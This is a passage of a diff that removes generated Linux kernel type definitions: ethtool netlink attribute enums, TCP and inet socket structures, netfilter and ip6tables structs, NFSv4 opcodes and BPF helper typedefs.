ETHTOOL_A_LINKSTATE_LINK = 2, - ETHTOOL_A_LINKSTATE_SQI = 3, - ETHTOOL_A_LINKSTATE_SQI_MAX = 4, - ETHTOOL_A_LINKSTATE_EXT_STATE = 5, - ETHTOOL_A_LINKSTATE_EXT_SUBSTATE = 6, - ETHTOOL_A_LINKSTATE_EXT_DOWN_CNT = 7, - __ETHTOOL_A_LINKSTATE_CNT = 8, - ETHTOOL_A_LINKSTATE_MAX = 7, -}; - -enum { - ETHTOOL_A_DEBUG_UNSPEC = 0, - ETHTOOL_A_DEBUG_HEADER = 1, - ETHTOOL_A_DEBUG_MSGMASK = 2, - __ETHTOOL_A_DEBUG_CNT = 3, - ETHTOOL_A_DEBUG_MAX = 2, -}; - -enum { - ETHTOOL_A_WOL_UNSPEC = 0, - ETHTOOL_A_WOL_HEADER = 1, - ETHTOOL_A_WOL_MODES = 2, - ETHTOOL_A_WOL_SOPASS = 3, - __ETHTOOL_A_WOL_CNT = 4, - ETHTOOL_A_WOL_MAX = 3, -}; - -enum { - ETHTOOL_A_FEATURES_UNSPEC = 0, - ETHTOOL_A_FEATURES_HEADER = 1, - ETHTOOL_A_FEATURES_HW = 2, - ETHTOOL_A_FEATURES_WANTED = 3, - ETHTOOL_A_FEATURES_ACTIVE = 4, - ETHTOOL_A_FEATURES_NOCHANGE = 5, - __ETHTOOL_A_FEATURES_CNT = 6, - ETHTOOL_A_FEATURES_MAX = 5, -}; - -enum { - ETHTOOL_A_PRIVFLAGS_UNSPEC = 0, - ETHTOOL_A_PRIVFLAGS_HEADER = 1, - ETHTOOL_A_PRIVFLAGS_FLAGS = 2, - __ETHTOOL_A_PRIVFLAGS_CNT = 3, - ETHTOOL_A_PRIVFLAGS_MAX = 2, -}; - -enum { - ETHTOOL_A_RINGS_UNSPEC = 0, - ETHTOOL_A_RINGS_HEADER = 1, - ETHTOOL_A_RINGS_RX_MAX = 2, - ETHTOOL_A_RINGS_RX_MINI_MAX = 3, - ETHTOOL_A_RINGS_RX_JUMBO_MAX = 4, - ETHTOOL_A_RINGS_TX_MAX = 5, - ETHTOOL_A_RINGS_RX = 6, - ETHTOOL_A_RINGS_RX_MINI = 7, - ETHTOOL_A_RINGS_RX_JUMBO = 8, - ETHTOOL_A_RINGS_TX = 9, - ETHTOOL_A_RINGS_RX_BUF_LEN = 10, - ETHTOOL_A_RINGS_TCP_DATA_SPLIT = 11, - ETHTOOL_A_RINGS_CQE_SIZE = 12, - ETHTOOL_A_RINGS_TX_PUSH = 13, - __ETHTOOL_A_RINGS_CNT = 14, - ETHTOOL_A_RINGS_MAX = 13, -}; - -enum { - ETHTOOL_A_CHANNELS_UNSPEC = 0, - ETHTOOL_A_CHANNELS_HEADER = 1, - ETHTOOL_A_CHANNELS_RX_MAX = 2, - ETHTOOL_A_CHANNELS_TX_MAX = 3, - ETHTOOL_A_CHANNELS_OTHER_MAX = 4, - ETHTOOL_A_CHANNELS_COMBINED_MAX = 5, - ETHTOOL_A_CHANNELS_RX_COUNT = 6, - ETHTOOL_A_CHANNELS_TX_COUNT = 7, - ETHTOOL_A_CHANNELS_OTHER_COUNT = 8, - ETHTOOL_A_CHANNELS_COMBINED_COUNT = 9, - __ETHTOOL_A_CHANNELS_CNT = 10, - ETHTOOL_A_CHANNELS_MAX = 9, -}; - -enum { - ETHTOOL_A_COALESCE_UNSPEC = 0, - ETHTOOL_A_COALESCE_HEADER = 1, - ETHTOOL_A_COALESCE_RX_USECS = 2, - ETHTOOL_A_COALESCE_RX_MAX_FRAMES = 3, - ETHTOOL_A_COALESCE_RX_USECS_IRQ = 4, - ETHTOOL_A_COALESCE_RX_MAX_FRAMES_IRQ = 5, - ETHTOOL_A_COALESCE_TX_USECS = 6, - ETHTOOL_A_COALESCE_TX_MAX_FRAMES = 7, - ETHTOOL_A_COALESCE_TX_USECS_IRQ = 8, - ETHTOOL_A_COALESCE_TX_MAX_FRAMES_IRQ = 9, - ETHTOOL_A_COALESCE_STATS_BLOCK_USECS = 10, - ETHTOOL_A_COALESCE_USE_ADAPTIVE_RX = 11, - ETHTOOL_A_COALESCE_USE_ADAPTIVE_TX = 12, - ETHTOOL_A_COALESCE_PKT_RATE_LOW = 13, - ETHTOOL_A_COALESCE_RX_USECS_LOW = 14, - ETHTOOL_A_COALESCE_RX_MAX_FRAMES_LOW = 15, - ETHTOOL_A_COALESCE_TX_USECS_LOW = 16, - ETHTOOL_A_COALESCE_TX_MAX_FRAMES_LOW = 17, - ETHTOOL_A_COALESCE_PKT_RATE_HIGH = 18, - ETHTOOL_A_COALESCE_RX_USECS_HIGH = 19, - ETHTOOL_A_COALESCE_RX_MAX_FRAMES_HIGH = 20, - ETHTOOL_A_COALESCE_TX_USECS_HIGH = 21, - ETHTOOL_A_COALESCE_TX_MAX_FRAMES_HIGH = 22, - ETHTOOL_A_COALESCE_RATE_SAMPLE_INTERVAL = 23, - ETHTOOL_A_COALESCE_USE_CQE_MODE_TX = 24, - ETHTOOL_A_COALESCE_USE_CQE_MODE_RX = 25, - __ETHTOOL_A_COALESCE_CNT = 26, - ETHTOOL_A_COALESCE_MAX = 25, -}; - -enum { - ETHTOOL_A_PAUSE_UNSPEC = 0, - ETHTOOL_A_PAUSE_HEADER = 1, - ETHTOOL_A_PAUSE_AUTONEG = 2, - ETHTOOL_A_PAUSE_RX = 3, - ETHTOOL_A_PAUSE_TX = 4, - ETHTOOL_A_PAUSE_STATS = 5, - __ETHTOOL_A_PAUSE_CNT = 6, - ETHTOOL_A_PAUSE_MAX = 5, -}; - -enum { - ETHTOOL_A_EEE_UNSPEC = 0, - ETHTOOL_A_EEE_HEADER = 1, - ETHTOOL_A_EEE_MODES_OURS = 2, - ETHTOOL_A_EEE_MODES_PEER = 3, - ETHTOOL_A_EEE_ACTIVE = 4, - ETHTOOL_A_EEE_ENABLED = 5, - ETHTOOL_A_EEE_TX_LPI_ENABLED = 6, - ETHTOOL_A_EEE_TX_LPI_TIMER = 7, - __ETHTOOL_A_EEE_CNT = 8, - ETHTOOL_A_EEE_MAX = 7, -}; - -enum { - ETHTOOL_A_TSINFO_UNSPEC = 0, - ETHTOOL_A_TSINFO_HEADER = 1, - ETHTOOL_A_TSINFO_TIMESTAMPING = 2, - ETHTOOL_A_TSINFO_TX_TYPES = 3, - ETHTOOL_A_TSINFO_RX_FILTERS = 4, - ETHTOOL_A_TSINFO_PHC_INDEX = 5, - __ETHTOOL_A_TSINFO_CNT = 6, - ETHTOOL_A_TSINFO_MAX = 5, -}; - -enum { - ETHTOOL_A_PHC_VCLOCKS_UNSPEC = 0, - ETHTOOL_A_PHC_VCLOCKS_HEADER = 1, - ETHTOOL_A_PHC_VCLOCKS_NUM = 2, - ETHTOOL_A_PHC_VCLOCKS_INDEX = 3, - __ETHTOOL_A_PHC_VCLOCKS_CNT = 4, - ETHTOOL_A_PHC_VCLOCKS_MAX = 3, -}; - -enum { - ETHTOOL_A_CABLE_TEST_UNSPEC = 0, - ETHTOOL_A_CABLE_TEST_HEADER = 1, - __ETHTOOL_A_CABLE_TEST_CNT = 2, - ETHTOOL_A_CABLE_TEST_MAX = 1, -}; - -enum { - ETHTOOL_A_CABLE_TEST_TDR_UNSPEC = 0, - ETHTOOL_A_CABLE_TEST_TDR_HEADER = 1, - ETHTOOL_A_CABLE_TEST_TDR_CFG = 2, - __ETHTOOL_A_CABLE_TEST_TDR_CNT = 3, - ETHTOOL_A_CABLE_TEST_TDR_MAX = 2, -}; - -enum { - ETHTOOL_A_TUNNEL_INFO_UNSPEC = 0, - ETHTOOL_A_TUNNEL_INFO_HEADER = 1, - ETHTOOL_A_TUNNEL_INFO_UDP_PORTS = 2, - __ETHTOOL_A_TUNNEL_INFO_CNT = 3, - ETHTOOL_A_TUNNEL_INFO_MAX = 2, -}; - -enum { - ETHTOOL_A_FEC_UNSPEC = 0, - ETHTOOL_A_FEC_HEADER = 1, - ETHTOOL_A_FEC_MODES = 2, - ETHTOOL_A_FEC_AUTO = 3, - ETHTOOL_A_FEC_ACTIVE = 4, - ETHTOOL_A_FEC_STATS = 5, - __ETHTOOL_A_FEC_CNT = 6, - ETHTOOL_A_FEC_MAX = 5, -}; - -enum { - ETHTOOL_A_MODULE_EEPROM_UNSPEC = 0, - ETHTOOL_A_MODULE_EEPROM_HEADER = 1, - ETHTOOL_A_MODULE_EEPROM_OFFSET = 2, - ETHTOOL_A_MODULE_EEPROM_LENGTH = 3, - ETHTOOL_A_MODULE_EEPROM_PAGE = 4, - ETHTOOL_A_MODULE_EEPROM_BANK = 5, - ETHTOOL_A_MODULE_EEPROM_I2C_ADDRESS = 6, - ETHTOOL_A_MODULE_EEPROM_DATA = 7, - __ETHTOOL_A_MODULE_EEPROM_CNT = 8, - ETHTOOL_A_MODULE_EEPROM_MAX = 7, -}; - -enum { - ETHTOOL_A_STATS_UNSPEC = 0, - ETHTOOL_A_STATS_PAD = 1, - ETHTOOL_A_STATS_HEADER = 2, - ETHTOOL_A_STATS_GROUPS = 3, - ETHTOOL_A_STATS_GRP = 4, - __ETHTOOL_A_STATS_CNT = 5, - ETHTOOL_A_STATS_MAX = 4, -}; - -enum { - ETHTOOL_STATS_ETH_PHY = 0, - ETHTOOL_STATS_ETH_MAC = 1, - ETHTOOL_STATS_ETH_CTRL = 2, - ETHTOOL_STATS_RMON = 3, - __ETHTOOL_STATS_CNT = 4, -}; - -enum { - ETHTOOL_A_STATS_ETH_PHY_5_SYM_ERR = 0, - __ETHTOOL_A_STATS_ETH_PHY_CNT = 1, - ETHTOOL_A_STATS_ETH_PHY_MAX = 0, -}; - -enum { - ETHTOOL_A_STATS_ETH_MAC_2_TX_PKT = 0, - ETHTOOL_A_STATS_ETH_MAC_3_SINGLE_COL = 1, - ETHTOOL_A_STATS_ETH_MAC_4_MULTI_COL = 2, - ETHTOOL_A_STATS_ETH_MAC_5_RX_PKT = 3, - ETHTOOL_A_STATS_ETH_MAC_6_FCS_ERR = 4, - ETHTOOL_A_STATS_ETH_MAC_7_ALIGN_ERR = 5, - ETHTOOL_A_STATS_ETH_MAC_8_TX_BYTES = 6, - ETHTOOL_A_STATS_ETH_MAC_9_TX_DEFER = 7, - ETHTOOL_A_STATS_ETH_MAC_10_LATE_COL = 8, - ETHTOOL_A_STATS_ETH_MAC_11_XS_COL = 9, - ETHTOOL_A_STATS_ETH_MAC_12_TX_INT_ERR = 10, - ETHTOOL_A_STATS_ETH_MAC_13_CS_ERR = 11, - ETHTOOL_A_STATS_ETH_MAC_14_RX_BYTES = 12, - ETHTOOL_A_STATS_ETH_MAC_15_RX_INT_ERR = 13, - ETHTOOL_A_STATS_ETH_MAC_18_TX_MCAST = 14, - ETHTOOL_A_STATS_ETH_MAC_19_TX_BCAST = 15, - ETHTOOL_A_STATS_ETH_MAC_20_XS_DEFER = 16, - ETHTOOL_A_STATS_ETH_MAC_21_RX_MCAST = 17, - ETHTOOL_A_STATS_ETH_MAC_22_RX_BCAST = 18, - ETHTOOL_A_STATS_ETH_MAC_23_IR_LEN_ERR = 19, - ETHTOOL_A_STATS_ETH_MAC_24_OOR_LEN = 20, - ETHTOOL_A_STATS_ETH_MAC_25_TOO_LONG_ERR = 21, - __ETHTOOL_A_STATS_ETH_MAC_CNT = 22, - ETHTOOL_A_STATS_ETH_MAC_MAX = 21, -}; - -enum { - ETHTOOL_A_STATS_ETH_CTRL_3_TX = 0, - ETHTOOL_A_STATS_ETH_CTRL_4_RX = 1, - ETHTOOL_A_STATS_ETH_CTRL_5_RX_UNSUP = 2, - __ETHTOOL_A_STATS_ETH_CTRL_CNT = 3, - ETHTOOL_A_STATS_ETH_CTRL_MAX = 2, -}; - -enum { - ETHTOOL_A_STATS_RMON_UNDERSIZE = 0, - ETHTOOL_A_STATS_RMON_OVERSIZE = 1, - ETHTOOL_A_STATS_RMON_FRAG = 2, - ETHTOOL_A_STATS_RMON_JABBER = 3, - __ETHTOOL_A_STATS_RMON_CNT = 4, - ETHTOOL_A_STATS_RMON_MAX = 3, -}; - -enum { - ETHTOOL_A_MODULE_UNSPEC = 0, - ETHTOOL_A_MODULE_HEADER = 1, - ETHTOOL_A_MODULE_POWER_MODE_POLICY = 2, - ETHTOOL_A_MODULE_POWER_MODE = 3, - __ETHTOOL_A_MODULE_CNT = 4, - ETHTOOL_A_MODULE_MAX = 3, -}; - -enum { - ETHTOOL_A_PSE_UNSPEC = 0, - ETHTOOL_A_PSE_HEADER = 1, - ETHTOOL_A_PODL_PSE_ADMIN_STATE = 2, - ETHTOOL_A_PODL_PSE_ADMIN_CONTROL = 3, - ETHTOOL_A_PODL_PSE_PW_D_STATUS = 4, - __ETHTOOL_A_PSE_CNT = 5, - ETHTOOL_A_PSE_MAX = 4, -}; - -enum { - ETHTOOL_A_RSS_UNSPEC = 0, - ETHTOOL_A_RSS_HEADER = 1, - ETHTOOL_A_RSS_CONTEXT = 2, - ETHTOOL_A_RSS_HFUNC = 3, - ETHTOOL_A_RSS_INDIR = 4, - ETHTOOL_A_RSS_HKEY = 5, - __ETHTOOL_A_RSS_CNT = 6, - ETHTOOL_A_RSS_MAX = 5, -}; - -enum nla_policy_validation { - NLA_VALIDATE_NONE = 0, - NLA_VALIDATE_RANGE = 1, - NLA_VALIDATE_RANGE_WARN_TOO_LONG = 2, - NLA_VALIDATE_MIN = 3, - NLA_VALIDATE_MAX = 4, - NLA_VALIDATE_MASK = 5, - NLA_VALIDATE_RANGE_PTR = 6, - NLA_VALIDATE_FUNCTION = 7, -}; - -struct ethnl_req_info { - struct net_device *dev; - netdevice_tracker dev_tracker; - u32 flags; -}; - -struct ethnl_reply_data { - struct net_device *dev; -}; - -struct ethnl_request_ops { - u8 request_cmd; - u8 reply_cmd; - u16 hdr_attr; - unsigned int req_info_size; - unsigned int reply_data_size; - bool allow_nodev_do; - int (*parse_request)(struct ethnl_req_info *, struct nlattr **, struct netlink_ext_ack *); - int (*prepare_data)(const struct ethnl_req_info *, struct ethnl_reply_data *, struct genl_info *); - int (*reply_size)(const struct ethnl_req_info *, const struct ethnl_reply_data *); - int (*fill_reply)(struct sk_buff *, const struct ethnl_req_info *, const struct ethnl_reply_data *); - void (*cleanup_data)(struct ethnl_reply_data *); -}; - -struct module_reply_data { - struct ethnl_reply_data base; - struct ethtool_module_power_mode_params power; -}; - -struct net_protocol { - int (*handler)(struct sk_buff *); - int (*err_handler)(struct sk_buff *, u32); - unsigned int no_policy: 1; - unsigned int icmp_strict_tag_validation: 1; -}; - -struct fastopen_queue { - struct request_sock *rskq_rst_head; - struct request_sock *rskq_rst_tail; - spinlock_t lock; - int qlen; - int max_qlen; - struct tcp_fastopen_context *ctx; -}; - -struct request_sock_queue { - spinlock_t rskq_lock; - u8 rskq_defer_accept; - u32 synflood_warned; - atomic_t qlen; - atomic_t young; - struct request_sock *rskq_accept_head; - struct request_sock *rskq_accept_tail; - struct fastopen_queue fastopenq; -}; - -struct inet_request_sock { - struct request_sock req; - u16 snd_wscale: 4; - u16 rcv_wscale: 4; - u16 tstamp_ok: 1; - u16 sack_ok: 1; - u16 wscale_ok: 1; - u16 ecn_ok: 1; - u16 acked: 1; - u16 no_srccheck: 1; - u16 smc_ok: 1; - u32 ir_mark; - union { - struct ip_options_rcu *ireq_opt; - struct { - struct ipv6_txoptions *ipv6_opt; - struct sk_buff *pktopts; - }; - }; -}; - -struct inet_connection_sock_af_ops { - int (*queue_xmit)(struct sock *, struct sk_buff *, struct flowi *); - void (*send_check)(struct sock *, struct sk_buff *); - int (*rebuild_header)(struct sock *); - void (*sk_rx_dst_set)(struct sock *, const struct sk_buff *); - int (*conn_request)(struct sock *, struct sk_buff *); - struct sock * (*syn_recv_sock)(const struct sock *, struct sk_buff *, struct request_sock *, struct dst_entry *, struct request_sock *, bool *); - u16 net_header_len; - u16 net_frag_header_len; - u16 sockaddr_len; - int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); - int (*getsockopt)(struct sock *, int, int, char *, int *); - void (*addr2sockaddr)(struct sock *, struct sockaddr *); - void (*mtu_reduced)(struct sock *); -}; - -struct inet_bind_bucket; - -struct inet_bind2_bucket; - -struct tcp_ulp_ops; - -struct inet_connection_sock { - struct inet_sock icsk_inet; - struct request_sock_queue icsk_accept_queue; - struct inet_bind_bucket *icsk_bind_hash; - struct inet_bind2_bucket *icsk_bind2_hash; - long unsigned int icsk_timeout; - struct timer_list icsk_retransmit_timer; - struct timer_list icsk_delack_timer; - __u32 icsk_rto; - __u32 icsk_rto_min; - __u32 icsk_delack_max; - __u32 icsk_pmtu_cookie; - const struct tcp_congestion_ops *icsk_ca_ops; - const struct inet_connection_sock_af_ops *icsk_af_ops; - const struct tcp_ulp_ops *icsk_ulp_ops; - void *icsk_ulp_data; - void (*icsk_clean_acked)(struct sock *, u32); - unsigned int (*icsk_sync_mss)(struct sock *, u32); - __u8 icsk_ca_state: 5; - __u8 icsk_ca_initialized: 1; - __u8 icsk_ca_setsockopt: 1; - __u8 icsk_ca_dst_locked: 1; - __u8 icsk_retransmits; - __u8 icsk_pending; - __u8 icsk_backoff; - __u8 icsk_syn_retries; - __u8 icsk_probes_out; - __u16 icsk_ext_hdr_len; - struct { - __u8 pending; - __u8 quick; - __u8 pingpong; - __u8 retry; - __u32 ato; - long unsigned int timeout; - __u32 lrcvtime; - __u16 last_seg_size; - __u16 rcv_mss; - } icsk_ack; - struct { - int search_high; - int search_low; - u32 probe_size: 31; - u32 enabled: 1; - u32 probe_timestamp; - } icsk_mtup; - u32 icsk_probes_tstamp; - u32 icsk_user_timeout; - u64 icsk_ca_priv[13]; -}; - -struct inet_bind_bucket { - possible_net_t ib_net; - int l3mdev; - short unsigned int port; - signed char fastreuse; - signed char fastreuseport; - kuid_t fastuid; - struct in6_addr fast_v6_rcv_saddr; - __be32 fast_rcv_saddr; - short unsigned int fast_sk_family; - bool fast_ipv6_only; - struct hlist_node node; - struct hlist_head owners; -}; - -struct inet_bind2_bucket { - possible_net_t ib_net; - int l3mdev; - short unsigned int port; - short unsigned int family; - union { - struct in6_addr v6_rcv_saddr; - __be32 rcv_saddr; - }; - struct hlist_node node; - struct hlist_head owners; -}; - -struct tcp_ulp_ops { - struct list_head list; - int (*init)(struct sock *); - void (*update)(struct sock *, struct proto *, void (*)(struct sock *)); - void (*release)(struct sock *); - int (*get_info)(const struct sock *, struct sk_buff *); - size_t (*get_info_size)(const struct sock *); - void (*clone)(const struct request_sock *, struct sock *, const gfp_t); - char name[16]; - struct module *owner; -}; - -struct netlbl_audit { - u32 secid; - kuid_t loginuid; - unsigned int sessionid; -}; - -struct netlbl_lsm_cache { - refcount_t refcount; - void (*free)(const void *); - void *data; -}; - -struct netlbl_lsm_secattr { - u32 flags; - u32 type; - char *domain; - struct netlbl_lsm_cache *cache; - struct { - struct { - struct netlbl_lsm_catmap *cat; - u32 lvl; - } mls; - u32 secid; - } attr; -}; - -struct cipso_v4_std_map_tbl { - struct { - u32 *cipso; - u32 *local; - u32 cipso_size; - u32 local_size; - } lvl; - struct { - u32 *cipso; - u32 *local; - u32 cipso_size; - u32 local_size; - } cat; -}; - -struct cipso_v4_doi { - u32 doi; - u32 type; - union { - struct cipso_v4_std_map_tbl *std; - } map; - u8 tags[5]; - refcount_t refcount; - struct list_head list; - struct callback_head rcu; -}; - -struct cipso_v4_map_cache_bkt { - spinlock_t lock; - u32 size; - struct list_head list; -}; - -struct cipso_v4_map_cache_entry { - u32 hash; - unsigned char *key; - size_t key_len; - struct netlbl_lsm_cache *lsm_data; - u32 activity; - struct list_head list; -}; - -struct xt_entry_match { - union { - struct { - __u16 match_size; - char name[29]; - __u8 revision; - } user; - struct { - __u16 match_size; - struct xt_match *match; - } kernel; - __u16 match_size; - } u; - unsigned char data[0]; -}; - -struct xt_entry_target { - union { - struct { - __u16 target_size; - char name[29]; - __u8 revision; - } user; - struct { - __u16 target_size; - struct xt_target *target; - } kernel; - __u16 target_size; - } u; - unsigned char data[0]; -}; - -struct xt_standard_target { - struct xt_entry_target target; - int verdict; -}; - -struct xt_error_target { - struct xt_entry_target target; - char errorname[30]; -}; - -struct xt_get_revision { - char name[29]; - __u8 revision; -}; - -struct xt_counters_info { - char name[32]; - unsigned int num_counters; - struct xt_counters counters[0]; -}; - -struct xt_table_info; - -struct xt_table { - struct list_head list; - unsigned int valid_hooks; - struct xt_table_info *private; - struct nf_hook_ops *ops; - struct module *me; - u_int8_t af; - int priority; - const char name[32]; -}; - -struct xt_table_info { - unsigned int size; - unsigned int number; - unsigned int initial_entries; - unsigned int hook_entry[5]; - unsigned int underflow[5]; - unsigned int stacksize; - void ***jumpstack; - unsigned char entries[0]; -}; - -struct xt_percpu_counter_alloc_state { - unsigned int off; - const char *mem; -}; - -struct ip6t_standard { - struct ip6t_entry entry; - struct xt_standard_target target; -}; - -struct ip6t_error { - struct ip6t_entry entry; - struct xt_error_target target; -}; - -struct ip6t_icmp { - __u8 type; - __u8 code[2]; - __u8 invflags; -}; - -struct ip6t_getinfo { - char name[32]; - unsigned int valid_hooks; - unsigned int hook_entry[5]; - unsigned int underflow[5]; - unsigned int num_entries; - unsigned int size; -}; - -struct ip6t_replace { - char name[32]; - unsigned int valid_hooks; - unsigned int num_entries; - unsigned int size; - unsigned int hook_entry[5]; - unsigned int underflow[5]; - unsigned int num_counters; - struct xt_counters *counters; - struct ip6t_entry entries[0]; -}; - -struct ip6t_get_entries { - char name[32]; - unsigned int size; - struct ip6t_entry entrytable[0]; -}; - -struct posix_acl_entry { - short int e_tag; - short unsigned int e_perm; - union { - kuid_t e_uid; - kgid_t e_gid; - }; -}; - -struct posix_acl { - refcount_t a_refcount; - struct callback_head a_rcu; - unsigned int a_count; - struct posix_acl_entry a_entries[0]; -}; - -enum { - Root_NFS = 255, - Root_CIFS = 254, - Root_RAM0 = 1048576, - Root_RAM1 = 1048577, - Root_FD0 = 2097152, - Root_HDA1 = 3145729, - Root_HDA2 = 3145730, - Root_SDA1 = 8388609, - Root_SDA2 = 8388610, - Root_HDC1 = 23068673, - Root_SR0 = 11534336, -}; - -enum rpc_display_format_t { - RPC_DISPLAY_ADDR = 0, - RPC_DISPLAY_PORT = 1, - RPC_DISPLAY_PROTO = 2, - RPC_DISPLAY_HEX_ADDR = 3, - RPC_DISPLAY_HEX_PORT = 4, - RPC_DISPLAY_NETID = 5, - RPC_DISPLAY_MAX = 6, -}; - -enum nfs_opnum4 { - OP_ACCESS = 3, - OP_CLOSE = 4, - OP_COMMIT = 5, - OP_CREATE = 6, - OP_DELEGPURGE = 7, - OP_DELEGRETURN = 8, - OP_GETATTR = 9, - OP_GETFH = 10, - OP_LINK = 11, - OP_LOCK = 12, - OP_LOCKT = 13, - OP_LOCKU = 14, - OP_LOOKUP = 15, - OP_LOOKUPP = 16, - OP_NVERIFY = 17, - OP_OPEN = 18, - OP_OPENATTR = 19, - OP_OPEN_CONFIRM = 20, - OP_OPEN_DOWNGRADE = 21, - OP_PUTFH = 22, - OP_PUTPUBFH = 23, - OP_PUTROOTFH = 24, - OP_READ = 25, - OP_READDIR = 26, - OP_READLINK = 27, - OP_REMOVE = 28, - OP_RENAME = 29, - OP_RENEW = 30, - OP_RESTOREFH = 31, - OP_SAVEFH = 32, - OP_SECINFO = 33, - OP_SETATTR = 34, - OP_SETCLIENTID = 35, - OP_SETCLIENTID_CONFIRM = 36, - OP_VERIFY = 37, - OP_WRITE = 38, - OP_RELEASE_LOCKOWNER = 39, - OP_BACKCHANNEL_CTL = 40, - OP_BIND_CONN_TO_SESSION = 41, - OP_EXCHANGE_ID = 42, - OP_CREATE_SESSION = 43, - OP_DESTROY_SESSION = 44, - OP_FREE_STATEID = 45, - OP_GET_DIR_DELEGATION = 46, - OP_GETDEVICEINFO = 47, - OP_GETDEVICELIST = 48, - OP_LAYOUTCOMMIT = 49, - OP_LAYOUTGET = 50, - OP_LAYOUTRETURN = 51, - OP_SECINFO_NO_NAME = 52, - OP_SEQUENCE = 53, - OP_SET_SSV = 54, - OP_TEST_STATEID = 55, - OP_WANT_DELEGATION = 56, - OP_DESTROY_CLIENTID = 57, - OP_RECLAIM_COMPLETE = 58, - OP_ALLOCATE = 59, - OP_COPY = 60, - OP_COPY_NOTIFY = 61, - OP_DEALLOCATE = 62, - OP_IO_ADVISE = 63, - OP_LAYOUTERROR = 64, - OP_LAYOUTSTATS = 65, - OP_OFFLOAD_CANCEL = 66, - OP_OFFLOAD_STATUS = 67, - OP_READ_PLUS = 68, - OP_SEEK = 69, - OP_WRITE_SAME = 70, - OP_CLONE = 71, - OP_GETXATTR = 72, - OP_SETXATTR = 73, - OP_LISTXATTRS = 74, - OP_REMOVEXATTR = 75, - OP_ILLEGAL = 10044, -}; - -struct uuidcmp { - const char *uuid; - int len; -}; - -typedef __kernel_ulong_t ino_t; - -enum { - BPF_F_INDEX_MASK = 4294967295ULL, - BPF_F_CURRENT_CPU = 4294967295ULL, - BPF_F_CTXLEN_MASK = 4503595332403200ULL, -}; - -struct bpf_timer { - long: 64; - long: 64; -}; - -struct bpf_dynptr { - long: 64; - long: 64; -}; - -struct bpf_list_head { - long: 64; - long: 64; -}; - -struct bpf_list_node { - long: 64; - long: 64; -}; - -struct bpf_pidns_info { - __u32 pid; - __u32 tgid; -}; - -struct btf_id_set8 { - u32 cnt; - u32 flags; - struct { - u32 id; - u32 flags; - } pairs[0]; -}; - -struct btf_kfunc_id_set { - struct module *owner; - struct btf_id_set8 *set; -}; - -struct btf_id_dtor_kfunc { - u32 btf_id; - u32 kfunc_btf_id; -}; - -struct bpf_mem_caches; - -struct bpf_mem_cache; - -struct bpf_mem_alloc { - struct bpf_mem_caches *caches; - struct bpf_mem_cache *cache; - struct work_struct work; -}; - -struct bpf_array_aux { - struct list_head poke_progs; - struct bpf_map *map; - struct mutex poke_mutex; - struct work_struct work; -}; - -struct bpf_array { - struct bpf_map map; - u32 elem_size; - u32 index_mask; - struct bpf_array_aux *aux; - union { - char value[0]; - void *ptrs[0]; - void *pptrs[0]; - }; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef long unsigned int (*bpf_ctx_copy_t)(void *, const void *, long unsigned int, long unsigned int); - -struct bpf_dynptr_kern { - void *data; - u32 size; - u32 offset; -}; - -typedef u64 (*btf_bpf_map_lookup_elem)(struct bpf_map *, void *); - -typedef u64 (*btf_bpf_map_update_elem)(struct bpf_map *, void *, void *, u64); - -typedef u64 (*btf_bpf_map_delete_elem)(struct bpf_map *, void *); - -typedef u64 (*btf_bpf_map_push_elem)(struct bpf_map *, void *, u64); - -typedef u64 (*btf_bpf_map_pop_elem)(struct bpf_map *, void *); - -typedef u64 (*btf_bpf_map_peek_elem)(struct bpf_map *, void *); - -typedef u64 (*btf_bpf_map_lookup_percpu_elem)(struct bpf_map *, void *, u32); - -typedef u64 (*btf_bpf_get_smp_processor_id)(); - -typedef u64 (*btf_bpf_get_numa_node_id)(); - -typedef u64 (*btf_bpf_ktime_get_ns)(); - -typedef u64 (*btf_bpf_ktime_get_boot_ns)(); - -typedef u64 (*btf_bpf_ktime_get_coarse_ns)(); - -typedef u64 (*btf_bpf_ktime_get_tai_ns)(); - -typedef u64 (*btf_bpf_get_current_pid_tgid)(); - -typedef u64 (*btf_bpf_get_current_uid_gid)(); - -typedef u64 (*btf_bpf_get_current_comm)(char *, u32); - -typedef u64 (*btf_bpf_spin_lock)(struct bpf_spin_lock *); - -typedef u64 (*btf_bpf_spin_unlock)(struct bpf_spin_lock *); - -typedef u64 (*btf_bpf_jiffies64)(); - -typedef u64 (*btf_bpf_get_current_cgroup_id)(); - -typedef u64 (*btf_bpf_get_current_ancestor_cgroup_id)(int); - -typedef u64 (*btf_bpf_strtol)(const char *, size_t, u64, long int *); - -typedef u64 (*btf_bpf_strtoul)(const char *, size_t, u64, long unsigned int *); - -typedef u64 (*btf_bpf_strncmp)(const char *, u32, const char *); - -typedef u64 (*btf_bpf_get_ns_current_pid_tgid)(u64, u64, struct bpf_pidns_info *, u32); - -typedef u64 (*btf_bpf_event_output_data)(void *, struct bpf_map *, u64, void *, u64); - -typedef u64 (*btf_bpf_copy_from_user)(void *, u32, const void *); - -typedef u64 (*btf_bpf_copy_from_user_task)(void *, u32, const void *, struct task_struct *, u64); - -typedef u64 (*btf_bpf_per_cpu_ptr)(const void *, u32); - -typedef u64 (*btf_bpf_this_cpu_ptr)(const void *); - -struct bpf_bprintf_buffers { - char tmp_bufs[1536]; -}; - -typedef u64 (*btf_bpf_snprintf)(char *, u32, char *, const void *, u32); - -struct bpf_hrtimer { - struct hrtimer timer; - struct bpf_map *map; - struct bpf_prog *prog; - void *callback_fn; - void *value; -}; - -struct bpf_timer_kern { - struct bpf_hrtimer *timer; - struct bpf_spin_lock lock; -}; - -typedef u64 (*btf_bpf_timer_init)(struct bpf_timer_kern *, struct bpf_map *, u64); - -typedef u64 (*btf_bpf_timer_set_callback)(struct bpf_timer_kern *, void *, struct bpf_prog_aux *); - -typedef u64 (*btf_bpf_timer_start)(struct bpf_timer_kern *, u64, u64); - -typedef u64 (*btf_bpf_timer_cancel)(struct bpf_timer_kern *); - -typedef u64 (*btf_bpf_kptr_xchg)(void *, void *); - -typedef u64 (*btf_bpf_dynptr_from_mem)(void *, u32, u64, struct bpf_dynptr_kern *); - -typedef u64 (*btf_bpf_dynptr_read)(void *, u32, const struct bpf_dynptr_kern *, u32, u64); - -typedef u64 (*btf_bpf_dynptr_write)(const struct bpf_dynptr_kern *, u32, void *, u32, u64); - -typedef u64 (*btf_bpf_dynptr_data)(const struct bpf_dynptr_kern *, u32, u32); - -enum mcopy_atomic_mode { - MCOPY_ATOMIC_NORMAL = 0, - MCOPY_ATOMIC_ZEROPAGE = 1, - MCOPY_ATOMIC_CONTINUE = 2, -}; 